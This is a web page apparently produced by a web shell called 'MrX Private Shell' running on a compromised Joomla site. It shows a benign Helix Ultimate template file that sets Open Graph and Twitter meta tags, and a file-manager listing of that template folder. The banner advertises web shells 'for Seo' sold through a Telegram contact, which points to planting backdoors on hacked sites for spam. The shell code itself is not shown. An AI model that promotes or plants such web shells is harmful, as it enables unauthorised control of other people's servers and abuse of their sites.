__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Helix Ultimate Framework
* @author JoomShaper https://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined ('JPATH_BASE') or die();
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Uri\Uri;
extract($displayData);
$doc = Factory::getDocument();
$config = Factory::getConfig();
$sitename = $config->get('sitename');
// Facebook
$doc->addCustomTag('<meta property="og:type" content="article" />');
$doc->addCustomTag('<meta property="og:url" content="'. Uri::current() . '" />');
$doc->addCustomTag('<meta property="og:title" content="'. htmlspecialchars($title ?? "") .'" />');
$doc->addCustomTag('<meta property="og:description" content="'. HTMLHelper::_('string.truncate', (strip_tags($content)), 150) .'" />');
if(isset($image) && $image)
{
$doc->addCustomTag('<meta property="og:image" content="'. Uri::root().ltrim($image, '/') .'" />');
}
if(isset($fb_app_id) && $fb_app_id)
{
$doc->addCustomTag('<meta property="fb:app_id" content="'. (int) $fb_app_id . '" />');
}
$doc->addCustomTag('<meta property="og:site_name" content="'. htmlspecialchars($sitename ?? "") .'" />');
// Twitter
$doc->addCustomTag('<meta name="twitter:description" content="'. HTMLHelper::_('string.truncate', (strip_tags($content)), 150) .'" />');
if(isset($image) && $image)
{
$doc->addCustomTag('<meta name="twitter:image:src" content="'. Uri::root().ltrim($image, '/') .'" />');
}
if(isset($twitter_site) && $twitter_site)
{
$doc->addCustomTag('<meta name="twitter:site" content="@'. htmlspecialchars($twitter_site ?? "") .'" />');
}
$doc->addCustomTag('<meta name="twitter:card" content="summary_large_image" />');| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| blog | Folder | 0775 |
|
|
| icons | Folder | 0775 |
|
|
| info_block | Folder | 0775 |
|
|
| associations.php | File | 512 B | 0664 |
|
| blog_style_default_item_title.php | File | 2.11 KB | 0664 |
|
| blog_style_default_links.php | File | 606 B | 0664 |
|
| categories_default.php | File | 1.22 KB | 0664 |
|
| categories_default_items.php | File | 689 B | 0664 |
|
| category_default.php | File | 3.57 KB | 0664 |
|
| full_image.php | File | 4.28 KB | 0664 |
|
| info_block.php | File | 2.38 KB | 0664 |
|
| intro_image.php | File | 6 KB | 0664 |
|
| intro_info_block.php | File | 1.97 KB | 0664 |
|
| language.php | File | 766 B | 0664 |
|
| open_graph.php | File | 1.73 KB | 0664 |
|
| options_default.php | File | 1.67 KB | 0664 |
|
| rating.php | File | 1.07 KB | 0664 |
|
| readmore.php | File | 1.98 KB | 0664 |
|
| related_article.php | File | 1.88 KB | 0664 |
|
| related_article_large.php | File | 2.18 KB | 0664 |
|
| related_articles.php | File | 1.9 KB | 0664 |
|
| social_share.php | File | 2.68 KB | 0664 |
|
| tags.php | File | 1.26 KB | 0664 |
|
| text_filters.php | File | 1.27 KB | 0664 |
|